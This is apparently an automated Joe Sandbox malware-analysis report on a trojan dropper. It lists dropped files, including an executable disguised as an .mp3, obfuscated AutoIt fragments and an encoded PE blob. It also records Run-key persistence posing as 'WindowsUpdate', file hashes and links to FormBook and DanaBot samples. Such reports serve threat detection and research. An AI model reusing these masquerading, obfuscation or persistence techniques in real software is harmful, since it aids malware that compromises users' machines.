                http://www.autoitscript.com/autoit3/JqPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000000.2256080886.0000000000975000.00000002.00000001.01000000.0000000A.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000002.2512836640.0000000000F85000.00000002.00000001.01000000.0000000C.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drfalse
                  		high
                  https://www.autoitscript.com/autoit3/qPLzfnxGbj.exe, 00000000.00000003.2169281936.0000000007360000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2276994283.000000000157D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2277966103.0000000001580000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2428154533.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe.8.dr, lijei.mp3.exe.exe.15.dr, lijei.mp3.exe0.8.dr, lijei.mp3.8.dr, lijei.mp3.0.drfalse
                    		high

                    World Map of Contacted IPs

                    ⊘No contacted IP infos

                    General Information

                    Joe Sandbox version:41.0.0 Charoite
                    Analysis ID:1569375
                    Start date and time:2024-12-05 18:27:05 +01:00
                    Joe Sandbox product:CloudBasic
                    Overall analysis duration:0h 9m 21s
                    Hypervisor based Inspection enabled:false
                    Report type:full
                    Cookbook file name:default.jbs
                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                    Number of analysed new started processes analysed:22
                    Number of new started drivers analysed:0
                    Number of existing processes analysed:0
                    Number of existing drivers analysed:0
                    Number of injected processes analysed:0
                    Technologies:
                    • HCA enabled
                    • EGA enabled
                    • AMSI enabled
                    Analysis Mode:default
                    Analysis stop reason:Timeout
                    Sample name:qPLzfnxGbj.exe
                    renamed because original name is a hash value
                    Original Sample Name:1e847cccbb36b7d28db70aeedede580bab5721a1da53b9296b1c4e13b344c313.exe
                    Detection:MAL
                    Classification:mal100.troj.evad.winEXE@30/52@0/0
                    EGA Information:
                    • Successful, ratio: 100%
                    HCA Information:
                    • Successful, ratio: 99%
                    • Number of executed functions: 199
                    • Number of non-executed functions: 213
                    Cookbook Comments:
                    • Found application associated with file extension: .exe

                    Warnings

                    • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
                    • Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                    • Not all processes where analyzed, report is missing behavior information
                    • Report creation exceeded maximum time and may have missing disassembly code information.
                    • Report size exceeded maximum capacity and may have missing behavior information.
                    • Report size exceeded maximum capacity and may have missing disassembly code.
                    • Report size getting too big, too many NtOpenKeyEx calls found.
                    • Report size getting too big, too many NtProtectVirtualMemory calls found.
                    • Report size getting too big, too many NtQueryValueKey calls found.
                    • Report size getting too big, too many NtSetInformationFile calls found.
                    • VT rate limit hit for: qPLzfnxGbj.exe

                    Simulations

                    Behavior and APIs

                    TimeTypeDescription
                    12:28:13API Interceptor1x Sleep call for process: qPLzfnxGbj.exe modified
                    12:29:04API Interceptor3x Sleep call for process: RegSvcs.exe modified
                    18:28:16AutostartRun: HKLM\Software\Microsoft\Windows\CurrentVersion\Run WindowsUpdate C:\Users\user\AppData\Local\Temp\xhqk\LIJEIM~1.EXE C:\Users\user\AppData\Local\Temp\xhqk\UUDCSP~1.JPG
                    18:28:29AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run WindowsUpdate C:\Users\user\AppData\Local\Temp\xhqk\LIJEIM~1.EXE C:\Users\user\AppData\Local\Temp\xhqk\UUDCSP~1.JPG
                    18:28:50AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run WindowsUpdate C:\Users\user\AppData\Local\Temp\xhqk\LIJEIM~1.EXE C:\Users\user\AppData\Local\Temp\xhqk\UUDCSP~1.JPG

                    Joe Sandbox View / Context

                    IPs

                    ⊘No context

                    Domains

                    ⊘No context

                    ASNs

                    ⊘No context

                    JA3 Fingerprints

                    ⊘No context

                    Dropped Files

                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                    C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3ngPebbPhbp.exeGet hashmaliciousRHADAMANTHYSBrowse
                      FS04dlvJrq.exeGet hashmaliciousFormBookBrowse
                        M1Y6kc9FpE.exeGet hashmaliciousFormBookBrowse
                          mJIvCBk5vF.exeGet hashmaliciousFormBookBrowse
                            lcbF0sywlU.exeGet hashmaliciousFormBookBrowse
                              1aG5DoOsAW.exeGet hashmaliciousFormBookBrowse
                                Factura-2410-CFDI.batGet hashmaliciousUnknownBrowse
                                  DGFmCcZnM0.exeGet hashmaliciousFormBookBrowse
                                    qZkywW6Q0b.exeGet hashmaliciousFormBookBrowse
                                      AlBXxWizEX.msiGet hashmaliciousDanaBotBrowse
                                        C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3.exengPebbPhbp.exeGet hashmaliciousRHADAMANTHYSBrowse
                                          FS04dlvJrq.exeGet hashmaliciousFormBookBrowse
                                            M1Y6kc9FpE.exeGet hashmaliciousFormBookBrowse
                                              mJIvCBk5vF.exeGet hashmaliciousFormBookBrowse
                                                lcbF0sywlU.exeGet hashmaliciousFormBookBrowse
                                                  1aG5DoOsAW.exeGet hashmaliciousFormBookBrowse
                                                    Factura-2410-CFDI.batGet hashmaliciousUnknownBrowse
                                                      DGFmCcZnM0.exeGet hashmaliciousFormBookBrowse
                                                        qZkywW6Q0b.exeGet hashmaliciousFormBookBrowse
                                                          AlBXxWizEX.msiGet hashmaliciousDanaBotBrowse

                                                            Created / dropped Files

                                                            C:\Users\user\AppData\Local\Temp\RarSFX0\bvjn.jpg

                                                            Download File
                                                            Process:C:\Users\user\Desktop\qPLzfnxGbj.exe
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):620
                                                            Entropy (8bit):5.47238634831189
                                                            Encrypted:false
                                                            SSDEEP:12:k5XmFC6wPejdJH+mkn+O7wx6rRRmW+10R05TAi5xj:CmFbjdJH+T575rmW+Sq5THz
                                                            MD5:1E15E6B31D755CBAFA7350B5262F937C
                                                            SHA1:F557D3F7CEBDCA51410F35CE96411C68800E56C1
                                                            SHA-256:F6FB22C7E8F1E2A45D16A5A94B6F339A13FBDD18D101E77D2E42F152668B6274
                                                            SHA-512:CB78AF71ADCE24A0025B468C04964670291E10E0F8106F20F2FD2647604174E0E5FCB7E171D5DCDD06EA4509BD10521549A48BCBE4AC71466FEE7017751F1A95
                                                            Malicious:false
                                                            Preview:C68xrwvyn2K1B6b2Lme1w35Ka5i69..ColorConstants GuiDateTimePicker..4L0g2x0b6G04w339r70699kYCW5p23V8Rtg3rPKjg9C..ToolTipConstants ButtonConstants..66JK7..TreeViewConstants ComboConstants..361fE9j25j6570v8N3780699F568Rt886K67to4ApXqnU07b29A0G7k9uY2gzs2973NTx518892177KU3ju818p985y319kIAH00CR..UpDownConstants DateTimeConstants..B4QrD5553691H54997UsT9Pey132g41VsN9529UDQnH62oIP20QK7508..BorderConstants ButtonConstants..rB706d65l5809H221z74Y8hJOt57L5hs..ToolTipConstants StructureConstants..VL8h3E7748kI9DP584e5pnP58t0i080MA0b4i70XRq855000o311617epu0826V52FI4vyDCEb6Om002Rh2649Z62GM3qu6473Av151..FileConstants FileConstants..

                                                            C:\Users\user\AppData\Local\Temp\RarSFX0\cmtrtvekl.bmp

                                                            Download File
                                                            Process:C:\Users\user\Desktop\qPLzfnxGbj.exe
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):570
                                                            Entropy (8bit):5.534277551509983
                                                            Encrypted:false
                                                            SSDEEP:12:/4ucPsPVnKR3IxBVjOol3CEMaHdadb1m5EmV9i:RmsPVMqOVEdHJ5pLi
                                                            MD5:D917A9C1BEE69F2A91787D586416EBB6
                                                            SHA1:6ADFA887003164863B1F59680F9311A1B1407F9D
                                                            SHA-256:0498D16CC502DB3212E9084C4C7AE84779CA7DB9C65C50B554C740402755CC8B
                                                            SHA-512:2018F7592A26C82EE80EEDEA972E379CC8F7312C6850D3B7670DF2DEFE8C1C0B8357DA283102171F46FF2DC419FEE10D308AC511C4F522BBE8798CE9BFED72C7
                                                            Malicious:false
                                                            Preview:VyG3J433dp4vb04Hf8LB2e3fK0V97n9519Z93vD60qg8o67paYUGgSL705r33wxUY8E9cp1X610257w71420Lb244JqF34t4E852250aacVqz00P..ToolTipConstants StructureConstants..4rg20fNj12Kr9DyV79R917k491qZdAyN064rF4yeZKS9582l88mKwB634977i80bCi6O39e16s2m3W9u6Y32242895950q85YH53f5262B8496299vNp12a9Mw2z3bwQ..ToolTipConstants ComboConstants..15r48s199H0ypzi3nSl6W0S8344892s3z8BD0a13P73eZ661Y1L505gK3gleX45Ne3IbyfE1909H55sCu9wF6C7Xm97I52Q34k131xUD48d5R3T2k31289TO623..ComboConstants ToolbarConstants..C9O79845Sk3780X7hpOdxIA3620uc857nW3349a86k70QS2q35leJ6KT36o30rBI..ColorConstants UpDownConstants..

                                                            C:\Users\user\AppData\Local\Temp\RarSFX0\dthxtm.3gp

                                                            Download File
                                                            Process:C:\Users\user\Desktop\qPLzfnxGbj.exe
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):527
                                                            Entropy (8bit):5.6159717014971635
                                                            Encrypted:false
                                                            SSDEEP:12:JOLKVmUHOqTMvBEx9ihtWhADA8/b2B/ESBPput5CJ:JFVmUHP6rEhAriJfnQ0J
                                                            MD5:50F4462FDD41504CE162AF88BA37128A
                                                            SHA1:7AE4376858D478451601D8D7D155490669419DB6
                                                            SHA-256:E54ECEE4DC05EAEACBD4057A67F83008D9D88523A243D22BBF03990DC98AB854
                                                            SHA-512:B3CB7E0CBABC345F33F3534919D4F72DCBC32C4FEB414BA4099B39AFE7A2E22DCCE26A066F9D9AB3B5FA4885C86A9EE1215CCDCFA27DF0B1FFC9BFF8652572F5
                                                            Malicious:false
                                                            Preview:4kCN41B795fUDW54R7A0097owS27NzmX2knq391Wd9ocm11K54515PbS0RHJ5V05sm04fw4K186iPE0Z14d8W4261r4N27hezl472642r75Sk49725j37X081a0P4Aun5QDaUks..FontConstants ButtonConstants..7dqazT5eE1LxU063V17z6690Y8ZOUY47AZrNpgQW96j6I5Fl55w9EL2R8sw0kK5WGi868493b..ToolTipConstants UpDownConstants..28946po3bf45fwou1uP9709fj2LHO3HI848oe816q5AA52dN5o5eMm3I170V467P3I5C0Tn27mPE57h6jN206hs75LnXP90pULZ466WuUC0123kiYwjCWJ67E4..FileConstants TreeViewConstants..jdGdvA3iAR5gc015KQNd1p8h8gDSz0f3TT1QGQ0C49J2Ni78JQ1f5e8g03Y79K..FileConstants FontConstants..

                                                            C:\Users\user\AppData\Local\Temp\RarSFX0\gdndisxdbe.gmg

                                                            Download File
                                                            Process:C:\Users\user\Desktop\qPLzfnxGbj.exe
                                                            File Type:ASCII text, with very long lines (65536), with no line terminators
                                                            Category:dropped
                                                            Size (bytes):571495
                                                            Entropy (8bit):4.050101452531791
                                                            Encrypted:false
                                                            SSDEEP:6144:S8+nw3X1oeYXD39Gp74IazTb9A/OZBWxCcY5Nydt:sRe+DtU7FapA/Ork
                                                            MD5:4F363A080CC5B7DF87865134BEA5A5A8
                                                            SHA1:186AE3A77464644CDA4D0088F2FE47CADA63C411
                                                            SHA-256:3EB7D48ECC57056FD63D437C73E2D97004D83C3F81D9D12FD59F9BD02BAEB47F
                                                            SHA-512:C35F1CE633482418B2FD23D6FAA4FCEB118F90C9C08106E5DAF5E65DFFF81F73FC1B76BFE910A1B3C861EAA3614C07A9A50745A4226FB775C0D7D05FF1D8FAEC
                                                            Malicious:false
                                                            Preview:0x4D5*9]]3]]]04]]]FFFF]]_8]]]]]]]4]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]0_8]]]0E/F_*0E]_409CD2/_80/4CCD2/546869732070726F67726/6D20636/6E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0*24]]]]]]]790/09*03D6067F33D6067F33D6067F3/**6*8F33*6067F3/**6**F33C6067F3/**6*_F33C6067F3526963683D6067F3]]]]]]]]5045]]4C0/0/]63D64256]]]]]]]]E]]20/0_0/0_]]5*04]]]]]]]]]80/4]]]/]]]07]4]]]4]]0/]]]]2]]06]]]]]]]06]]]]]]]]7]4]]02]]]]]]02]408/]]/]]0/]]]]0/]]0/]]]]]]0/]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]02E74657874]]]445804]]/]]]05*04]]/]]]]]]]]]]]]]]02]]06]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]

                                                            C:\Users\user\AppData\Local\Temp\RarSFX0\gfbb.ppt

                                                            Download File
                                                            Process:C:\Users\user\Desktop\qPLzfnxGbj.exe
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):612
                                                            Entropy (8bit):5.604888697036586
                                                            Encrypted:false
                                                            SSDEEP:12:aEU+NBafAMftrUFIFWxPwuHauwhVJ1Z9ERzsxNjhca79l:aV+NBeW3+trVD44zZl
                                                            MD5:0C7222EE7047D2B0E4F5B6E5F41EB61F
                                                            SHA1:EB7C7E2FE70F373ECA96FE35A1301FE21695DA3E
                                                            SHA-256:F6D65EBB701DF500368BE8B507847B9829645A093E1A598BDC69C45ADBB5070B
                                                            SHA-512:71C00BF27B1ED269EA02B742224439052404272391D6B548A4DEEA41731B39308AD0CFEC9C794C56BF61F1B73D0CDC755D86FBD148B3F955ABA47D6D340254E3
                                                            Malicious:false
                                                            Preview:t6FrE1qV12OPjo23034Dt5uX6411dQrB2V9Q9f4Mr6LvBaq6o8Q547761t0y9EcN1ybW279g8tL8MtDBz6h8y81eQDC4rfGVX62Hj87j..FontConstants GuiDateTimePicker..bw8Jm2LJJvA4Q92Y06HNN329BQ1dmq517oM0qhNCk921B29B3r4x9z767x4N75g450052B4c3H1H39yBUTks41w6c2LF9X2104150J1n5Ixa3kSj9..TreeViewConstants UpDownConstants..4Ng984475xE4J007P99Kr5U6K640Ac2rtJt4LxLIWH5140ZmlcjM5120Foa6u06SMi1KcQbV9nphtr36Qrfmt637573pJKUGC3l99x144w162W4g59wxeK8dC9K423369K63750..ButtonConstants FileConstants..043k0Bdx0032dc932M8o7AN72fYG81KLwh9T9036kS6eTK90lJp3448X6n4or295083j2884394CQ9i2974f4QQdxkew5G9ha7eZq297n6txw7l5N51mR605yik..FileConstants ComboConstants..

                                                            C:\Users\user\AppData\Local\Temp\RarSFX0\hqkikkogob.exe

                                                            Download File
                                                            Process:C:\Users\user\Desktop\qPLzfnxGbj.exe
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):526
                                                            Entropy (8bit):5.615465418755358
                                                            Encrypted:false
                                                            SSDEEP:12:27evUyCVPjA+QRs6ROO5Hs8rPIuiVShxbb8unT:27dlA5szO5HUfMbbdT
                                                            MD5:5811498D0D5DB4F5ADDA963C3AA8A2C5
                                                            SHA1:BCE4A649E6510CA0805C78653210C33B7DADD76E
                                                            SHA-256:9268CD0679C36290B72FFACDDB5FC8E6FF0AC2E5A417E3A2F709251707043000
                                                            SHA-512:65CCC76DF01181D9A5AA9A02184811C0F7B624C452E957279FBAD9A7ADC344969EFCE9CE67E1D7EA1F7D93D4045862FDA1038C1EE735464E9EA5BC31D92018A8
                                                            Malicious:false
                                                            Preview:29kwl04S43r80zMq8912k1a8F699Tyf0Vf96o7g2JXy0hCNvN82g5aHr05232..TreeViewConstants FileConstants..76Dl2b2K4kNS81pIY3989t6sn110E0q1..StructureConstants UpDownConstants..12AA93Tzt84P80b173yKj46K669DJ4b8Um784hMp731YA3N415PgnVahPOeysn35XGcLpo02f9901N10v6W3p4CEU9aRL07enjAuyNl6IMZO7Tm430JSz22fy9yp29d..TreeViewConstants BorderConstants..z4M0RgnUe5ozW417531BvK82IV17S6nxd27jovT9Z94361Q1M315OC5Z936b416l6537k4Ew..FileConstants BorderConstants..4tM6T08VDo988xvq0j4B4532C4976Z89rEwm6I532c9Z0v7c0Vl5007..GuiDateTimePicker ComboConstants..

                                                            C:\Users\user\AppData\Local\Temp\RarSFX0\jsqutphkeu.docx

                                                            Download File
                                                            Process:C:\Users\user\Desktop\qPLzfnxGbj.exe
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):503
                                                            Entropy (8bit):5.621489289859279
                                                            Encrypted:false
                                                            SSDEEP:12:38yHGBBP/J9xVeBQ9/s7Dc2ELgB4CLuXC:TH8bbJ9yA2FpLuy
                                                            MD5:E570D2FA028AD85BF2E6B2C3DB8F8F46
                                                            SHA1:80511A82BCADD17B15CE40DD0DF93455E1269063
                                                            SHA-256:43A1079B059AB9522BBC74D44A14C94896DF60C48B037E7B9A890AD7D9D8667C
                                                            SHA-512:57B6A8BA65023B04D0306CD7D34BD9C1C8B7AA18A7203F557CF8C19AE0C6B2DE5367F79AC71165B50FD77CC10CC5E004D66713928265B55BBF9B78ED3EFA6E21
                                                            Malicious:false
                                                            Preview:4XNy50T104655D2XIk3jI05fh0UX7H83HV5O51qWsc6a35m1ogv4625kL5U5523l4I5AIVR2547T7A7om14502YiqM1411541uIUhX..UpDownConstants TreeViewConstants..at25lmmfY3w87mg4Ugw3918LeX138gq6x025HjM0rB7SHEI936X1iLd5198ad89Vi6w93Zuf9UbUV842L145n684sjlWsXT3N7J55nAA190C34lKy0A745i1P7..ToolbarConstants FontConstants..63v06slwkrq285u6zWOp30olxMmWy9052Ej84mL20by109PWD5uE8zob0DIa7I3f1m440ECPEoP5W8J02794XP48xIAk162U9Bl718ta3Qjt8U14Z0286hV4pFO82Sd4nT0J3864RS32Q06v0Jq1x1Sz3wN039Tn4x5az3338x4..GuiDateTimePicker ButtonConstants..

                                                            C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3

                                                            Download File
                                                            Process:C:\Users\user\Desktop\qPLzfnxGbj.exe
                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):947288
                                                            Entropy (8bit):6.629681466265794
                                                            Encrypted:false
                                                            SSDEEP:24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
                                                            MD5:0ADB9B817F1DF7807576C2D7068DD931
                                                            SHA1:4A1B94A9A5113106F40CD8EA724703734D15F118
                                                            SHA-256:98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
                                                            SHA-512:883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Joe Sandbox View:
                                                            • Filename: ngPebbPhbp.exe, Detection: malicious, Browse
                                                            • Filename: FS04dlvJrq.exe, Detection: malicious, Browse
                                                            • Filename: M1Y6kc9FpE.exe, Detection: malicious, Browse
                                                            • Filename: mJIvCBk5vF.exe, Detection: malicious, Browse
                                                            • Filename: lcbF0sywlU.exe, Detection: malicious, Browse
                                                            • Filename: 1aG5DoOsAW.exe, Detection: malicious, Browse
                                                            • Filename: Factura-2410-CFDI.bat, Detection: malicious, Browse
                                                            • Filename: DGFmCcZnM0.exe, Detection: malicious, Browse
                                                            • Filename: qZkywW6Q0b.exe, Detection: malicious, Browse
                                                            • Filename: AlBXxWizEX.msi, Detection: malicious, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................|....P..P............N..X&...0..Pv...........................C..........@............................................text...|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3.exe

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3
                                                            File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):947288
                                                            Entropy (8bit):6.629681466265794
                                                            Encrypted:false
                                                            SSDEEP:24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
                                                            MD5:0ADB9B817F1DF7807576C2D7068DD931
                                                            SHA1:4A1B94A9A5113106F40CD8EA724703734D15F118
                                                            SHA-256:98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
                                                            SHA-512:883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
                                                            Malicious:true
                                                            Antivirus:
                                                            • Antivirus: ReversingLabs, Detection: 0%
                                                            Joe Sandbox View:
                                                            • Filename: ngPebbPhbp.exe, Detection: malicious, Browse
                                                            • Filename: FS04dlvJrq.exe, Detection: malicious, Browse
                                                            • Filename: M1Y6kc9FpE.exe, Detection: malicious, Browse
                                                            • Filename: mJIvCBk5vF.exe, Detection: malicious, Browse
                                                            • Filename: lcbF0sywlU.exe, Detection: malicious, Browse
                                                            • Filename: 1aG5DoOsAW.exe, Detection: malicious, Browse
                                                            • Filename: Factura-2410-CFDI.bat, Detection: malicious, Browse
                                                            • Filename: DGFmCcZnM0.exe, Detection: malicious, Browse
                                                            • Filename: qZkywW6Q0b.exe, Detection: malicious, Browse
                                                            • Filename: AlBXxWizEX.msi, Detection: malicious, Browse
                                                            Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................|....P..P............N..X&...0..Pv...........................C..........@............................................text...|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\RarSFX0\likabhjhg.bin

                                                            Download File
                                                            Process:C:\Users\user\Desktop\qPLzfnxGbj.exe
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):535
                                                            Entropy (8bit):5.610110653941477
                                                            Encrypted:false
                                                            SSDEEP:12:yMo4I+LHOXcpecZLfB9xFuvz4vRWP7VeEb/HwYGBR:yM2IHOMpecZL5kz4vRWzMhtBR
                                                            MD5:88163436A774B0A7B386A82515BAA00F
                                                            SHA1:2595113E89A6C5DF7BF8C68AE86220109E6ABF44
                                                            SHA-256:560C35567362DC7964F5BC67EDF6B8B903841F42D6590792E17F0990CE9E8504
                                                            SHA-512:BD8D7CEDDEF0718F9D43D6B15B376A20E821684016233C2E9676560333DD7CC775CFF7917B956713865CF78BE73792B68E3074007A265AB2DBB31E8E7ACA6542
                                                            Malicious:false
                                                            Preview:MOI6635Dr4k7c0Kh0u7qXI9465z50QG3VB3306Z3W47ILoZBBMpPC2PK0Gr99G601wN11uz92h8URwd4Xz54U6783Ta0J12Ui2i..ToolbarConstants ColorConstants..s7ow8Q3vqvgJ8968iKV94r1v4cL63iZY6ToCkrG84Zq87d7J8mY7XBg1K5O0r2561CP32K1502yEEj2R66DsPS8C84088UtK457A9FCOFx376H6P24SC0z7N777..ToolTipConstants GuiDateTimePicker..N8889ZI20vE05u8804L2tK738JLB913Qne362603R66XM8741F04df8866kx95T774bRS78Ru514n791TJ2pZGl027C974F8uIdENZ6967oVV99zWoz714Xh..DateTimeConstants ToolTipConstants..7euL67vA29KQhrRA5w1igQ43982nM1068T58CpQn05OUaf23P..ButtonConstants FileConstants..

                                                            C:\Users\user\AppData\Local\Temp\RarSFX0\micpvbi.3gp

                                                            Download File
                                                            Process:C:\Users\user\Desktop\qPLzfnxGbj.exe
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):642
                                                            Entropy (8bit):5.592666917580329
                                                            Encrypted:false
                                                            SSDEEP:12:Qs9SySUhhXQUIgoI+Kr/qWTXK/ErSTc9dA0Okh5yP2R:QAhgUIgoI8WTYtWOKjR
                                                            MD5:84F801D1A017870C183D2750763E7F87
                                                            SHA1:BB464ED2C5349ADEC3519A770D0CD99A4FF75150
                                                            SHA-256:E113E9AB7A8C94F781DD880AF269ABF09F8AEB3F31CE30821B9C4AB3E603305A
                                                            SHA-512:EABABCB4CF02E882430BCD715633A57FC699F8AA6BBB365D48EA2B87F84AB8C564237632666308C0F748F9905A8E0A013906550F49F0411661619D6D294094C8
                                                            Malicious:false
                                                            Preview:8xDDn9w5Z14v3cw06j88j635ZiMJ624g3IKBUcy5mF6vBlqiX5H905y39l83zLk84Ok897KAoc3NR320K6KgO3pNty72ZY7Gv33YrM9lLABSK0yTCo4DTCY99489YU5x9275E2Q2C6XU06Tg13567lzM6K6MC0Kx69U5hchk033668W56Z8S9097..GuiDateTimePicker ColorConstants..zYg52iv1wFUt0W5vh10w08gZB4018L1R0K7i507QLv2I3Q1ibi884h1wmu5j551Y2uLN56u24j80913tf6282f28359T8998nC094mk6i589525c8lla2Cr9446Q81ep6bZ154FnplkBq22e37o3u21KH0l03baEW01RD228pD6IEQ53a2CO4M0fs4C3KPfwU..ButtonConstants ToolbarConstants..oB2a4mK8o93V7k19209tYl9R0YWV329243ZEYAT43Q6FP5PSl78Uc0VV5124p2580t03TlARk231m242C0v943411t164L2sCo16100l2RjI0FJ2c5D82GkQA01fDVSaKG986T88cST42pUA9Z902VXU37U..TreeViewConstants ToolbarConstants..

                                                            C:\Users\user\AppData\Local\Temp\RarSFX0\paum.vbe

                                                            Download File
                                                            Process:C:\Users\user\Desktop\qPLzfnxGbj.exe
                                                            File Type:Unicode text, UTF-16, little-endian text, with very long lines (420), with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):80530
                                                            Entropy (8bit):3.0284542573777173
                                                            Encrypted:false
                                                            SSDEEP:96:qIIIIIIIIIIIIIIIIIIIIIIhHDIIIIIIIIIIIIIIIIIIIIIIGIIIIIIIIIIIIII7:KjkGjaB
                                                            MD5:54371A23825980F70ECDE885256577FD
                                                            SHA1:D720DE553F533435F5BAD330C5874923F1839B01
                                                            SHA-256:FC07DF4A3AF1831E27156FDD9210651E85128B9D10B152C1DE70F70F6F17296C
                                                            SHA-512:336C136F09776BDAA3E0CC54CB9EF1A3D894DC2D8D0C07607DD50AE9A77D256D56B2498BCA03A6D9EEF897C88767C407371F7935B303DE1F09A69AD739F48FCD
                                                            Malicious:true
